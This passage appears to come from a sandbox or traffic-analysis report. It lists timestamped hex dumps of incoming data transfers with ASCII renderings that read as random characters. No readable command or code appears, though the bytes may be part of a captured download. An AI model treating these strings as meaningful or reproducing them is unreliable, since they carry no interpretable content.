6d 2d 0a 96 49 35 42 15 35 11 6a 15 3a 95 fc 14 3a 95 b4 9f 3e b1 bb 28 3e d7 7a c0 32 b1 f9 20 3d be 4e e0 be 46 44 95 
f8 fe bb 9a f8 fe f3 11 f4 da fc a6 fd bc df 6e f2 0b 1e 61 45 cb 56 ea 09 ef 5e a2 82 eb 5f ea 81 af 7b ca 38 50 74 ca 38 18 
ff de 1c 17 48 cc 7a 34 99 c3 cd fe 96 74 04 b6 
Data Ascii: #"rG"r63>711Dru$\ulQ,dwPSXoWW<'7o9N+Y^#%H%HT$`<Uj UM5@i}-em-I5B5j::>(>z2 =NFDnaEV^_{8Pt8
Hz4t

2022-02-08 23:07:10 UTC 319 IN Data Raw: ac f2 0f 89 1f 33 cc 02 51 e5 af b1 90 26 2d cb 43 e5 ee 08 cc af 51 ef 27 e5 fe 08 c4 ce ed 44 f9 f2 ab 47 4f 47 
25 0f 43 c0 6d 0f c8 88 79 84 80 84 52 18 d3 b9 6e 5e d0 0f c4 d4 98 03 ef dc c9 3e d3 9a ca 89 17 b2 6a 2c ef b7 dc 81 
64 f9 53 66 cf 72 f3 66 44 3c 25 e4 f7 fd e6 6f bd 72 01 9c f5 bc dc 2f 34 7f 57 ef 30 f4 1d 68 d7 1f 92 20 db 9d e9 f3 18 5e 
2a b9 87 b9 c9 92 1c ef f4 ae 5a ec 42 43 d1 a4 ed a4 62 ea 6d 77 e9 a2 f2 90 4a 29 b2 97 c9 ab 2e 0b 54 ab 66 06 7f 47 
8d c5 bc 48 c5 c8 97 ac 2e 0b 54 a3 66 06 7f 7f 8d c5 bc 70 c5 c8 97 a4 2e 0b 54 ab 66 06 7f 67 8d c5 bc 68 82 ca 3f f8 
09 8a 10 6b 82 c2 0a e0 cc 0c 51 db 0e cf 55 5c e9 64 b6 9f 2a a7 9d cf 7a 9a a1 44 34 54 4a 82 f5 97 61 72 a5 aa 5d f9 
eb 25 ba 52 64 6b 35 b5 97 e0 7f 3a 70 03 fd 
Data Ascii: 3Q&-CQ'DGOG%CmyRn^>j,dSfrfD<%or/4W0h ^*ZBCbmwJ).TfGH.Tfp.Tfgh?kQU\d*zD4TJar]%Rdk5:p

2022-02-08 23:07:11 UTC 343 IN Data Raw: e1 71 bf b6 15 b3 7c 3c 5f 36 af 17 b6 f4 6c d4 39 bc aa a8 61 7d 69 26 27 7e de fe ac 3e 79 19 47 fd 39 be a0 
1e fa 30 e8 13 0a 21 18 19 36 f7 59 ef f4 34 d2 a7 c7 bf 9a 38 20 3c 11 70 9f db 82 fb d7 de 09 b3 60 39 82 38 20 3e 71 
ba bd 3e 7e b5 36 74 e1 52 fd ff ab e5 1a 2c 3f 6e 5a 03 cc 13 98 c0 0f d0 13 88 35 5b 5b 91 f7 ad c4 c9 36 6e 8a 44 d3 
45 85 7e ef 79 20 86 ea cf ee 0d a2 df 65 45 ae f4 9e 79 92 c8 b6 a1 19 88 11 46 f2 4b 51 e1 15 a8 92 6e 5d a0 1d 26 59 
50 0c d6 53 6c da 1a a5 ae 19 91 ed 31 fe 12 66 79 49 f5 ed f2 09 f2 1e 6e 09 fd 11 61 82 bd 3e 9a f8 49 fd 59 3b 62 40 
63 07 5e 3a 87 c4 9d f9 22 84 a6 3b 94 66 8d 96 ae 5a b1 33 ee 61 73 85 20 1b 58 45 e3 d8 64 93 55 2d a6 50 7d 1d 56 
5a 41 cb 4e ac 83 08 41 87 0d 32 7d bb a8 72 46 79 1e 81 
Data Ascii: q|<_6l9a}i&'~>yG90!6Y48 <p`98 >q>~6tR,?nZ5[[6nDE~y eEyFKQn]&YPSl1fyIna>IY;b@c^:";fZ3as XEdU-
P}VZANA2}rFy

2022-02-08 23:07:11 UTC 345 IN Data Raw: 68 cb fd 4e 20 c3 76 04 a7 24 95 38 71 da 7a fa b2 9c 79 4c 75 6c 7a 64 da e7 32 32 49 27 f1 f1 c2 69 b7 b2 
82 aa 74 3d cc 25 93 be 47 6f 14 59 b4 e4 5a 1f ff a4 99 dc 70 ea 1e 3b e3 61 54 bc 04 8a df f2 42 19 1d 31 81 e9 17 ba 
cb 6e f0 59 f7 b8 0b b6 35 7b 4d b5 82 03 c6 fb 0d e4 55 74 43 aa c6 b6 80 69 49 f8 46 ab b9 3a 85 20 f3 b5 62 c3 78 fd 
6e 48 30 e8 45 86 fb 2b 86 83 7c d6 ba 40 fe 9e bf cf b0 c1 58 5c f7 02 9b d6 bf 9a 78 5c f7 2a 93 d6 bf 0a 11 4b 23 94 11 
44 a8 de 8e a3 63 55 c4 14 84 86 50 9f c4 a9 a3 1d 8c 9a 28 55 95 11 60 6f be f5 59 53 82 7e 11 5f be a8 c0 b0 7c 6b 86 
b3 ca ac 76 b0 e2 19 fd fe 24 d1 ad 3f e7 53 d7 ff 24 90 14 79 d4 93 9f 33 53 74 74 4a 90 b7 b7 8b 1b ff bb 8f 9c 18 58 4d 
5f db 9b 71 89 9f 73 b3 4a d9 70 04 44 52 38 ca 5b 
Data Ascii: hN v$8qzyLulzd22I'it=%GoYZp;aTB1nY5{MUtCiIF: bxnH0E+|@X\x\*K#DcUP(U`oYS~_|kv$?S$y3SttJXM
_qsJpDR8[

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:11 UTC 347 IN Data Raw: 88 0c 1e 26 88 a9 d2 fa cf 6a 11 39 0c a9 b4 9c a9 fa 11 39 fa 70 53 03 39 af 90 c0 89 5c 1b 8a 5b d7 51 18 90 
5c 1b 8a 43 d7 5b 88 c0 5c 11 1a db d7 5b 88 f8 5d 67 82 73 17 f5 a9 f8 5d 67 9a 73 17 f5 a1 c5 0c dd ee 60 c0 01 69 a3 
03 8a a5 a3 d1 01 69 a3 43 ca e2 6f 43 58 31 e4 03 5a b2 6f cf 5a 20 74 44 96 20 e6 67 1c 1c ec ec d0 1c 7e c7 5b d0 7e 
55 68 5b b2 55 fa 60 04 46 c9 23 cb a1 0a 09 44 9d 36 35 4b 92 b9 7f cc 75 62 f0 86 fa 85 13 10 6a 10 87 9b 22 3f 0c db 
0d a4 87 9b ab af 44 10 e3 b6 b4 01 69 fe 87 8a 21 c4 00 c4 a0 2f 8b 8a 2e 3c a0 8b 13 00 9c 00 55 35 2a d6 7e 7a cb 15 
bd 7e 08 c0 7e bd cb eb 14 56 08 28 54 5d 34 00 cb d6 72 18 7c 10 f9 5e 40 a7 db 25 7c 9b e7 99 f3 d5 69 1a 78 9b e7 
11 f3 63 fc 9a bb 76 f8 1c 98 f7 3b df 5b 3b bf c4 dd cb 
Data Ascii: &j99pS9\[Q\C[\[]gs]gs`iiCoCX1ZoZ tD g~[~Uh[U`F#D65Kubj"?Di!/.<U5*~z~~V(T]4r|^@%|ixcv;[;

2022-02-08 23:07:11 UTC 349 IN Data Raw: 6b 26 6d d4 a7 53 ac 5f 6b 27 2d 9d 23 ae ed 16 6b 3f 29 90 20 fe 8c 12 6a 7f 4e 90 20 f6 8e 1a 6a 67 4a 90 
22 67 4a a0 ee cb 8b 90 6c 07 37 51 e6 4f 37 51 43 ea fb 8d 04 29 38 4e c7 ea 9d eb 62 b9 38 4e 31 33 7a 74 f2 d0 b9 b7 
42 51 32 ff 85 98 bd b7 12 51 76 3c 52 53 95 b7 18 d1 b6 38 52 43 9d b3 1a c4 54 80 95 8c c3 49 ae 06 ff 43 25 4c 7d 70 
aa 06 ef 4b 1c 11 65 0b 3f cd 4f 2c 01 f1 73 89 a4 54 bf 55 e3 97 7c 96 20 54 d9 c5 ab 16 e0 06 78 d5 23 b7 0e ae c0 74 
cd 6d 0c af 0a a4 c0 74 8d 6d 43 ff cf 6f 00 3c 0c ac 3c 37 ba 83 b7 75 90 40 64 b6 53 3b e7 75 90 f8 68 3d 5f 31 e7 75 c8 
f8 2c fa 04 f8 e6 75 c8 f8 74 be 47 b0 fb 77 94 3f b3 e0 5d e4 3c 2c 5d 6e ef a3 91 6e 7d 78 1e 26 f2 b1 fd a9 ba 26 34 42 
31 66 36 c1 be aa 36 4b 9d 25 fa 4b 0f 0e 75 03 80 
Data Ascii: k&mS_k'-#k?) jN jgJ"gJl7QO7QC)8Nb8N13ztBQ2Qv<RS8RCTIC%L}pKe?O,sTU| Tx#tmtmCo<<7u@dS;uh=_
1u,utGw?]<,]nn}x&&4B1f66K%Ku

2022-02-08 23:07:11 UTC 351 IN Data Raw: a0 dd 2d 48 3d 06 ef 8b b6 4c 2b b7 a6 c7 63 79 7f dc a2 ba 43 0a 35 61 81 c9 be 29 9a 42 f6 e7 5b 59 37 24 
67 8f b0 ff a5 4c 3f 07 85 fa f9 88 7d c1 4e f2 f2 89 6e 79 b8 16 89 92 33 5e b9 19 79 c1 5e ea f6 89 65 61 bc 0e 82 9a 37 
46 b9 11 7d c1 5e f2 55 95 d5 bc 83 c7 0c 7e 40 4c 42 b0 e9 95 80 73 c2 1f bd 4f fe 94 f3 99 b3 4d 31 5a 38 03 ff e6 e1 
c1 3c cd 14 fc 00 f1 47 7a 46 c4 f0 b6 3c 0f 33 75 ff 24 22 8d 3c e7 a4 cb 09 51 41 cf cf e1 f9 0e 0c 23 3a cd cf 59 f1 0e 0c 
9a da 74 f4 59 19 f6 bc 57 32 14 84 6b 0e 96 cc 65 32 40 1f b0 f0 83 10 3b b8 1c f7 88 33 54 40 6f 88 df 00 68 0b 5d 9c 
ea 96 df 02 68 09 43 02 67 06 4c 84 97 05 bc 95 bd 98 81 a9 81 97 8e 2a 11 1c ce 05 f2 54 d4 2e 2a be 17 ed 60 25 c8 
66 20 22 2b fe 20 2d 24 75 6a b2 c3 be fe 39 83 91 
Data Ascii: -H=L+cyC5a)B[Y7$gL?}Nny3^y^ea7F}^U~@LBsOM1Z8<GzF<3u$"<QA#:YtYW2ke2@;3T@oh]hCgL*T.*`%f 
"+ -$uj9

2022-02-08 23:07:11 UTC 353 IN Data Raw: 8e 36 bd 17 39 f8 32 5f 3f 08 23 d5 77 07 08 7d 53 3b 34 56 aa f3 f7 95 ae 30 16 56 6d f3 3c d7 50 cf 00 97 dc 
14 e3 1c 34 09 13 0d bf 41 13 87 8b 74 39 71 b6 48 05 31 3a 93 d6 19 13 9c 5d 59 3c 67 d2 13 b3 80 31 9d fb 8b be d5 fa 
00 fe dc c6 2b 35 1f 05 e8 be 5f 02 13 be 50 0d 1c 35 18 0a 97 7f 83 c1 1c 35 30 12 97 7f 8b c9 18 35 38 2a 9a a1 b3 6a 
b5 52 39 22 87 dc 71 19 0c 94 48 96 44 a6 c6 d0 47 11 65 5e 01 1b d2 c6 8a 53 4d 21 29 d8 0b 39 9f 39 80 79 a6 05 37 
b0 29 4d 36 40 38 66 22 65 04 5a 09 00 cd 99 ca 04 0e 4c 09 c7 cd 67 09 14 0e a4 21 f8 85 ec 29 d3 bf 64 ea 10 ec ef a0 
8f 0b 0c 2f c7 06 82 67 c3 8d ca 73 49 c5 c7 58 cc fb fb 64 47 b3 c0 ef 0f bb eb 5f 80 78 28 d4 c8 7c 00 15 38 7f 8b 5d a7 
98 08 d6 ef 2f ef 5d 64 67 50 ba f7 e8 18 0d 10 73 93 
Data Ascii: 692_?#w}S;4V0Vm<P4At9qH1:]Y<g1+5_P55058*jR9"qHDGe^SM!)99y7)M6@8f"eZLg!)d/gsIXdG_x(|8]/]dgPs

2022-02-08 23:07:11 UTC 355 IN Data Raw: a7 ae 9f 8e 02 2c 53 77 a2 ee d0 c7 6c 61 70 c5 e2 a1 72 60 60 6d 8b c0 a2 ee 3c b8 28 ae 3e 6b 00 8f b1 21 
87 68 6a b1 0c 28 45 52 86 60 5e 12 bf a2 e8 ac 94 e8 28 6f 57 ae 2b d9 93 5e 28 f3 67 9c eb 30 4c 76 33 f3 8f 30 30 45 
4b 1b 63 85 88 d8 4b af a3 b6 a1 6c 60 8a 77 88 ab 48 b4 03 e1 8e c7 07 20 4d ec f7 92 8e 2f 7c d8 48 18 d4 19 8b 33 60 
bc 48 f0 26 bf f2 34 0d 0e 2a f7 ce 26 22 dc 76 89 e1 1f 30 8a 5a c3 1b 67 f6 00 d8 21 f5 bb 0d d1 ff 90 c1 ff c3 ac 87 fc 75 
64 bb 3a 67 cc 7a f9 4d c3 b9 3a 8e e8 11 90 4d 2b 39 99 0b 3a 8f 08 43 fc f7 a0 82 3f b1 a3 4e 72 08 9f 72 4e 34 94 38 
88 5c 3c f9 4b a6 ea 47 e3 67 29 f1 25 4c 28 de 19 70 03 50 31 4c 3f db 77 54 89 08 5c a4 23 cb 9f 8f e6 13 5c 4c cd 21 
9d 8f 0e 72 16 c9 16 c4 aa 89 e8 0f 7c 48 2b 33 cb 
Data Ascii: ,Swlapr``m<(>k!hj(ER`^(oW+^(g0Lv300EKcKl`wH M/|H3`H&4*&"v0Zg!ud:gzM:M+9:C?NrrN48\<KGg)%L
(pP1L?wT\#\L!r|H+3

2022-02-08 23:07:11 UTC 371 IN Data Raw: 91 7f 87 a8 90 f8 cd 6e ed 51 0c ad 1d 52 87 ed 1a 81 1f ed 15 8e 94 a5 12 05 de 3e c1 8e 94 8d 1a 05 de 36 
f9 93 55 78 92 18 6d 44 ae 93 2f 6b dd 55 ec a8 56 1d 2a b8 98 dc e9 33 68 db 62 79 2e b8 a5 ba ed 3a ed 81 a5 0b a5 
9b e5 31 99 2c 23 1a d6 80 e0 d9 96 27 07 2a 55 ac 49 a5 b2 5b b9 b4 30 20 ee 77 f3 e3 c5 a5 e7 df f9 2e a9 58 1e dd 22 
16 90 ce a9 5c 17 29 4a d7 59 af 59 5c 13 28 be b7 38 06 5e 74 fb 8d 16 32 80 4a d5 f1 0b 00 93 fa c8 c3 50 71 86 85 2b 
b6 45 46 61 01 a2 b5 ea 41 a1 7e a0 fe 46 89 2b b4 c0 22 a0 fc 86 59 67 3f 45 d2 2d b8 a2 51 11 6e 87 6d d2 ad 0c 23 5d 
4a ef 6b 66 61 c2 80 a5 a2 84 83 13 71 c2 bf a5 be 82 87 99 09 46 cf 91 22 87 63 52 e1 0c 2b 1c 82 cb e8 df 09 3b e7 f4 
75 eb 24 37 fa a5 7b d0 89 63 b8 13 03 2b 20 c8 89 63 90 2b 
Data Ascii: nQR>6UxmD/kUV*3hby.:1,#'*UI[0 w.X"\)JYY\(8^t2JPq+EFaA~F+"Yg?E-Qnm#]JkfaqF"cR+;u$7{c+ c+

2022-02-08 23:07:11 UTC 407 IN Data Raw: cc f0 82 c3 8b c5 38 5d 4c 57 3d da ab d8 ce 58 e5 4a ff 13 62 ad 71 3b f1 2f 0b f0 32 ec c8 76 75 d9 72 f4 f3 
11 42 dc 0c 9b 0a 62 cf 11 4a 64 04 3a 11 cb c7 f9 97 3b d6 bf 94 f7 91 e8 52 34 52 6a 67 31 b1 dd a1 94 fb 29 89 55 b1 
dd 8d d2 56 42 4f 11 95 81 65 be 55 42 a6 3c 15 4f 25 be 6f 86 e6 7d ac ce 71 9a 27 b5 b2 d9 e4 76 35 9f d7 c1 fc 11 9f 
47 3f 9b df 41 f4 b3 26 c3 38 ca 03 0c 89 e6 89 4c 8f 2d 0b 79 8a ce bc a3 05 84 13 44 b6 06 26 41 35 b1 e2 cf f9 cd 64 f4 
d1 12 e2 38 a5 94 d9 10 73 16 ec 15 f0 a1 29 9b 50 27 12 b3 97 a1 5a 35 ac 2e 10 9a 4b 9d 92 af 4e 1e 25 61 c0 58 26 
db 0b d2 12 c0 89 1e 6b ed 42 99 2d de f4 50 af 12 8d 75 60 a3 4d f3 28 a0 cb b5 0f 1a 00 37 70 d8 c3 f4 b3 f0 0b 76 f3 
d5 3f f0 0b f5 b9 3c 87 d5 3e 74 28 32 9d fe 60 31 16 
Data Ascii: 8]LW=XJbq;/2vurBbJd:;R4Rjg1)UVBOeUB<O%o}q'v5G?A&8L-yD&A5d8s)P'Z5.KN%aX&kB-Pu`M(7pv?<>t(2`1

2022-02-08 23:07:11 UTC 409 IN Data Raw: c1 7f fb 10 02 bc 38 3b 2d c5 fb f8 6b c6 4c 33 23 41 ab c0 6b 4a a5 2a e0 04 6b b6 78 c5 a8 9d e9 12 6b 5e 
62 5a ec b9 89 d1 a6 7f 0c 4e 67 bc 87 00 e0 5b 6c 8b a0 58 a7 00 ea 9e b2 98 2b 5d 39 d0 ed b1 a6 11 2e 3a ec d7 4d 
a3 2d 14 49 65 68 8d 88 a6 a2 4a 4b a5 a6 8c 08 3c 67 4f ca ff a4 8c ce 39 ed 15 0f fa 2f d6 cc 39 54 1d 0f fa 97 96 a7 f9 
54 1d e9 37 15 84 28 f4 5d 13 cf 07 d6 59 18 c5 5d 17 d6 45 8f d5 15 6e 7a e8 29 52 f1 a8 2e b9 f1 a7 a5 ff fb 6b e2 15 39 
a8 21 9e 73 37 c6 4d e7 bc 86 62 04 37 ce 78 8f 7f 44 83 04 39 4e 34 c2 12 59 34 fe 2e d2 7c 76 a5 59 3a 7c 12 9f 11 79 
12 a3 2d f2 5a 2b b6 79 1c 21 01 bf 37 5a 01 83 0b d1 49 0b a0 5a 0f 01 17 9c 24 68 17 a0 18 e3 5f 28 ab 68 19 22 1c ae 
32 7d 1c 92 0e f6 54 1a b5 7d 12 10 02 bb 39 5d 02 87 
Data Ascii: 8;-kL3#AkJ*kxk^bZNg[lX+]9.:M-IehJK<gO9/9TT7(]Y]Enz)R.k9!s7Mb7xD9N4Y4.|vY:|y-Z+y!7ZIZ$h_(h"2}T}9]

2022-02-08 23:07:11 UTC 411 IN Data Raw: 93 d4 f5 e7 50 17 36 65 13 13 d5 e7 53 1e 56 6c 1d 80 45 ee 55 b0 c3 a8 72 7c 89 41 b3 bf 4a c3 cc 7a 89 00 
0f 50 2f c1 cc 93 6f fb 6a 5f 20 3b aa 9c e3 7b 90 38 5e 6b d0 02 f4 a7 97 2b 37 64 54 6b 0d c9 98 2c 61 0a 5b ef 21 30 f7 
23 66 65 34 e0 a5 25 0e 53 12 87 4e 69 a2 4b 09 ac 9e 77 35 ec a4 c1 f9 ab a2 02 3a 68 e2 38 81 a4 a4 38 40 67 67 76 
c2 0b 4f e4 fe 00 ea 63 04 d2 5d a8 8f 92 5f 69 c9 91 e9 5a 42 79 e1 d1 50 43 c9 32 db 05 d1 b9 17 82 0f 21 21 40 cc aa 
69 48 e4 63 55 43 63 98 87 f4 a7 13 bb f6 e1 10 0d c7 09 18 47 48 ee 9f 6d f6 2f 5c ae 74 50 8f 6d b7 93 0d a1 ce be c1 
da 0a 7d 02 19 40 fa e5 ba c2 80 36 79 01 43 b0 3e 34 f9 2e f9 a6 fc a9 1e 29 0f 2b 50 bb 3e 60 d7 5c b0 48 44 de ca 83 
87 1d 09 05 c0 28 b3 87 46 e0 83 af b9 6a cb 11 7a e0 8b 
Data Ascii: P6eSVlEUr|AJzP/oj_ ;{8^k+7dTk,a[!0#fe4%SNiKw5:h88@ggvOc]_iZByPC2!!@iHcUCcGHm/\tPm}@6yC>4
.)+P>`\HD(Fjz

Timestamp
kBytes
transferred
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2022-02-08 23:07:11 UTC 413 IN Data Raw: b0 bd 66 1a 57 7f e4 5a 2c 68 27 99 ef aa 9a 40 60 e4 1d a7 83 67 d1 d2 8e 1e 1a 11 4d dd 31 b1 d8 1e f2 3e 
90 99 15 dd b8 48 9f 95 fb 83 5d 56 38 00 91 23 35 cc e5 e4 be 8c c6 2f f8 8f 71 e4 7b c6 81 6f 47 c6 a9 12 0f a9 4e 41 cc 
6a 8d c2 8f 57 63 74 49 17 6d b5 61 d2 ee f6 5c 3a 58 33 df 73 a8 b8 e3 73 2e fe d6 c4 f0 7c 98 41 cd 3c a3 a0 78 f0 2d 
e6 44 47 ed 68 0e a3 1d 54 24 45 df 97 e7 c3 99 a2 51 26 1a e1 6c d5 ad 2a ee a8 64 e9 2d 6b 4c 1e 64 ab a3 85 0f b7 
14 4e 8d ca df 8d 4e 09 f7 6a cc 74 24 a9 0f b7 0c 66 8d f7 31 b5 3b 22 b2 f6 06 d1 04 25 4f 11 eb be 24 0d 5d 75 a7 44 
ed b7 2c 04 ed 76 a2 4c be bd 60 8f 7d 4d 71 cf 76 71 f3 fb 43 f6 bb f0 c0 3a ce fd 46 f6 ba 3a cf 74 f2 31 8f 56 35 86 45 
d5 f9 fb 48 95 d3 08 60 4c 51 4a 43 8c 93 89 80 3b 7c 
Data Ascii: fWZ,h'@`gM1>H]V8#5/q{oGNAjWctIma\:X3ss.|A<x-DGhT$EQ&l*d-kLdNNjt$f1;"%O$]uD,vL`}MqvqC:F:t
1V5EH`LQJC;|

2022-02-08 23:07:11 UTC 415 IN Data Raw: 24 75 2a f6 e7 fe 64 20 ee c6 a7 e3 65 8e af 68 2f 48 fc 3c ee 8b c0 ea 1f 90 03 29 94 de d5 39 ac 1d 16 b2 5c 
db 31 94 9e 18 ba dc 96 93 f0 1a 2f c7 31 d9 13 11 e6 c2 d0 d2 6d 8c 06 c4 55 4f c5 4f a5 89 c0 69 67 4a 4b 21 6f c1 01 
e7 c8 95 c0 24 f4 43 f5 30 37 80 7e 7e e1 8c 46 bd 22 07 b6 7b 49 21 74 b8 c2 69 7c 33 88 af f1 67 49 6c cd b1 52 78 0e 
72 d9 36 d8 60 e1 f5 1b eb 11 33 52 cd d3 f0 d9 85 db 7b 93 43 20 2f 52 80 1c f9 2b 94 df 3a a0 da 09 32 98 19 ca b9 68 
df 65 9f aa 1c ee d7 a2 97 a4 11 4b c3 65 d2 77 15 3a c6 b4 d6 b1 88 62 a8 89 4b a1 23 79 8d 2c 05 bb 4e a7 4d b3 c5 
ed 8b 74 91 2c 48 48 47 91 5c 8b 84 1a 12 5d e8 22 d1 9e 63 d2 17 6d 45 10 d4 e6 0d 18 5f ac cb 2d 0a 6d 08 11 dc ce 
1c d2 1f 45 52 04 7d 7d 91 c7 f6 8d 57 16 d0 4f 94 9d 98 47 
Data Ascii: $u*d eh/H<)9\1/1mUOOigJK!o$C07~~F"{I!ti|3gIlRxr6`3R{C /R+:2heKew:bK#y,NMt,HHG\]"cmE_-mER}}WOG

2022-02-08 23:07:11 UTC 417 IN Data Raw: bd 7f 7f 89 4d 75 54 21 7c 49 68 72 fe 36 bb b8 3d f5 fb 80 f5 41 0b 02 39 21 14 b2 d7 aa 5c f7 bc 69 9f 34 37 
23 18 d3 dc a8 58 b6 b7 6b 9b 75 74 2b a3 be c2 ba eb fb b1 79 28 38 fb fe cf 93 ff bb bc 50 3c 78 f3 93 ff bb b3 ab 34 0d 
49 e3 fa ef 7c 20 39 a7 6e 6a b6 40 8d 22 70 9a b8 e1 b3 5a b3 19 a1 e4 5c 92 01 ed d7 52 0b 66 9f 17 68 a5 5c d4 e3 e5 
fb df 28 26 c7 de 62 b1 20 3d 2a 7f 13 0b e9 bc 3b 1b 19 b6 07 cd 0c ba c4 0e 86 f0 01 48 ba 47 c5 b8 b0 6c c6 88 8c 50 
86 b0 47 e6 48 f8 12 95 8b 3b d1 dd 83 b9 ed c9 ab 7f a5 c1 29 43 b1 81 11 8b 7d c5 fe b7 41 f9 7c 7b 21 e6 b0 3b c0 da 
8c 07 4b 92 0b e0 a0 19 41 a5 cb da 82 66 8b e2 49 aa cd 2c 75 96 f1 64 f2 71 5a 2e b7 02 99 ed 74 28 a4 d0 48 14 2f 98 
d7 f3 9c 13 97 f4 6f 91 0b 76 f2 13 94 ea 6f 13 1f 
Data Ascii: MuT!|Ihr6=A9!\i47#Xkut+y(8P<x4I| 9nj@"pZ\Rfh\(&b =*;HGlPGH;)C}A|{!;KAfI,udqZ.t(H/ovo

2022-02-08 23:07:11 UTC 419 IN Data Raw: 97 6c 92 9c 3a 45 ae a0 69 0d 2e 67 23 cb 21 9e e2 08 69 1e 29 42 af 1a d0 83 6c 91 98 c3 8f 50 5b 00 04 1a 
9d 6e fd db 5e 26 e9 54 10 e0 36 93 2d dc 7c 04 ca 3f 3c 3d 0c 81 ea b6 ac 88 26 c2 2b 00 e9 67 a9 4a ae ec f2 bf 69 2f 
ce be 41 0e 86 aa 0b 99 61 49 49 a0 a3 8b 8a 63 1d 5b 01 c3 14 12 86 19 cf 93 cd 5e 0d 20 db 9e ce 1c da b6 ec 56 65 
51 0f 14 59 92 cd d7 9a 2c 18 5c 3a 20 51 1b e0 fa 93 d8 23 7b d8 9f e1 38 cd 5f 22 04 c9 77 3f 8f 81 b9 d0 96 43 7a 90 
9d 7f 49 5c 9f bd 75 57 29 6f fe 1f e7 b6 e7 dd 24 3c 1f d0 93 fa 34 cb cb c6 08 40 81 18 c2 59 43 db f1 65 83 93 fc 4e d7 
bb c0 72 ff 53 80 49 c3 e5 65 c6 8d 13 5f df 4f d0 d5 27 52 67 1e ac 1a 6f 35 c3 42 53 09 e8 ea 52 35 d4 ee 91 e0 17 2d 
52 c8 d1 dd 6e 4f 99 e1 ec 07 9d 6a a4 98 7a e9 2f d0 cd 
Data Ascii: l:Ei.g#!i)BlP[n^&T6-|?<=&+gJi/AaIIc[^ VeQY,\: Q#{8_"w?CzI\uW)o$<4@YCeNrSIe_O'Rgo5BSR5-RnOjz/

2022-02-08 23:07:11 UTC 421 IN Data Raw: 4a 77 fd ed 4e 3f f6 c6 1b f9 35 05 e3 fd 83 c9 ab 7d 58 8e a8 c7 94 ce 8b f9 de 4e 50 d1 1a 0e d8 0a f9 4e d5 
36 72 06 5d e5 32 a6 96 26 7a a3 1d 6e cd 44 e6 e5 87 8c 6d ad 18 6b 9e 26 58 6c 7d ba 58 63 72 b5 22 a1 b1 76 e1 8b 
70 b5 22 48 7f ba a9 02 e0 5d 62 89 aa ea 85 5a 21 a0 3a bd fa 22 ac 3f 6f a0 38 b4 2f 8f cb 33 67 bd 3b 06 97 81 75 8b 
55 aa 4a a9 69 96 19 59 71 14 59 57 4d 5e c6 b0 ae a6 18 00 03 67 db be be e8 7b 86 35 a0 bd 1a 98 61 7e 93 d0 b6 45 
18 96 a7 f2 bf a3 26 29 ff 14 bb 61 f7 3f 0d 5e cb 03 5e d5 83 c5 dc 78 42 06 55 30 8d 3d 60 b2 56 7d d7 42 d4 3d ea 80 
62 ec c1 f7 5f d0 fd 75 a7 d6 4a 95 9b d3 00 22 7c 34 28 fa fa 72 1d 4c 2f 47 9f 97 ee f0 4c bc ba cd 70 80 38 35 76 02 f4 
b2 48 48 4b 55 a3 c3 03 83 9d 6d c2 40 14 25 15 79 5c 2d 
Data Ascii: JwN?5}XNPN6r]2&znDmk&Xl}Xcr"vp"H]bZ!:"?o8/3g;uUJiYqYWM^g{5a~E&)a?^^xBU0=`V}B=b_uJ"|4(rL/
GLp85vHHKUm@%y\-

2022-02-08 23:07:11 UTC 475 IN Data Raw: a0 9e b8 91 db 5f 7b 52 18 14 fc b5 bb 96 bc 12 6c 05 7f 99 22 92 98 3a 0a 18 54 47 00 33 f3 a8 c3 f0 b5 ab 
74 07 3f e3 70 8c d7 e3 fa 4c d2 68 ba 77 10 a4 f7 1c d2 67 34 97 9c e8 d3 14 1e 93 12 d7 dd 50 99 9f cd 7b 04 19 0e b8 
44 22 32 74 03 4c f0 b7 c0 c7 cc b7 e8 18 4e cc 2a db 8d 0f a1 93 9d 84 ef 1c 7a 07 c4 e2 fc c4 07 a2 c7 f8 cb e5 88 3a 
08 26 03 7a af c1 f8 b9 24 81 5f 5e d7 42 17 d1 30 dd 9c 9f b7 3a 3f 10 f9 bd d8 93 7b c7 1a 50 b8 04 ea 41 bc 83 0d aa 
7a 40 ce 69 f1 7c ce e2 bb fb 29 01 87 2d 4a 7a 44 ee cd 32 6f a8 ce fe 28 22 0c 3d eb a9 44 b2 0c 3a cf f2 ab dd 2c 31 20 
93 ea b1 c9 52 29 3a 81 9d 22 b5 cf 12 c5 2e 44 5c 52 c9 e7 d6 1a 06 28 50 52 00 14 86 f1 75 d7 45 b7 76 1b 02 5a b1 
d8 c1 12 89 5a 29 2f 49 e5 ce a4 ce 1f 61 43 55 d3 2e 80 
Data Ascii: _{Rl":TG3t?pLhwg4P{D"2tLN*z:&z$_^B0:?{PAz@i|)-JzD2o("=D:,1 R):".D\R(PRuEvZZ)/IaCU.

2022-02-08 23:07:11 UTC 477 IN Data Raw: 8e 9e 7c d4 ce bc be 63 64 f4 be e1 26 cf 82 dd 1a 73 4e 88 19 35 4d 3e ce 1e 4a 57 f2 22 00 8c d9 cc 68 b0 
e5 c8 ab 65 26 0b 68 4d b2 43 64 66 4b b2 a7 a5 18 3a ef 22 26 f9 da a5 d5 32 18 12 07 b4 50 17 8d fc 47 5f 81 d7 dc 9c 
42 14 94 87 6a c2 bf bf 03 fe 83 bb c0 34 40 78 03 1f 03 11 3f 23 49 ca 7f 2b 75 82 73 00 d6 77 b0 c3 9e 77 98 1a b5 df f1 
26 89 95 2a 0d 9e fc 16 31 9a 3f dc f2 59 fc f7 c0 2a c0 cb 80 21 fc 40 c8 be 1b db 43 f6 ac 3c e0 7d ec 3b 03 ff 70 b9 9e 
7d ee 3b 01 e1 ee 34 0e 6a a4 a3 e9 b9 ee 2c 0e 72 78 bc 9b e6 fa 2b 19 70 78 be 9b e4 f3 f6 b4 6f b3 d9 2f ed fb c2 df 
d1 74 62 dd 5e 3c 6b d9 d8 1f 56 e5 e4 23 1c 5b cf 69 82 68 4d 29 b9 55 fb fd 92 6b 91 c1 ae 21 6a ea 0b 48 56 d6 0f 8b 
9c 15 cc 48 b6 28 08 8b 75 6e 02 47 3e 72 c6 84 fd 
Data Ascii: |cd&sN5M>JW"he&hMCdfK:"&2PG_Bj4@x?#I+usww&*1?Y*!@C<};p};4j,rx+pxo/tb^<kV#[ihM)Uk!jHVH(unG>r

2022-02-08 23:07:11 UTC 479 IN Data Raw: 19 57 e5 fe ec 90 26 b5 6b 62 dc 3d 23 25 f5 3e d6 e2 36 75 41 11 cf 5d ce 9b 37 41 78 48 4e 88 bb 8b 8d 2d 
